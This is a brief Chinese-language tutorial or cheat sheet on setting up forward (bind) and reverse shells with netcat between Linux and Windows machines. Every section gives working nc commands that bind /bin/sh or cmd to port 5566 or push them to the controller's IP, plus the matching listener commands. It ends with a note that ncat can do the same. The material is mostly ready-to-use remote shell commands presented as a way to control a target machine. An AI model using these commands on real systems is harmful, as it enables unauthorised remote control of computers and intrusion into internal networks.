如何进行正反向shell连接

1.正向连接

我主动去连对方

Linux(控制机)控制Windows(被控制机)
//对方监听本地5566端口
nc -e cmd -lvp 5566
//我主动连接目标5566
nc 对方ip 5566

Windows(控制机)控制Linux(被控制机)
# Linux绑定SH到本地5566端口
nc -e /bin/sh -lvp 5566
//我主动连接目标5566
nc 对方ip 5566

2.反向连接（内网用的多）

对方主动连我

Linux(被控制机)反向连接Windows(控制机)
//对方绑定SH到我的5566端口
nc -e /bin/sh 自己的ip 5566
//我监听本地5566连接
nc -lvvp 5566


Windows(被控制机)反向连接Linux(控制机)
//对方绑定CMD到我的5566端口
nc -e cmd 自己的ip 5566
//我本地监听5566连接
nc -lvvp 5566

3.有时候会遇到有些人用ncat反弹shell，而ncat和nc有什么区别呢？

ncat是nc的升级版本，nc有的功能，ncat都有，而且还加了一些高级功能。所以不管是nc还是ncat都可以用来进行shell连接。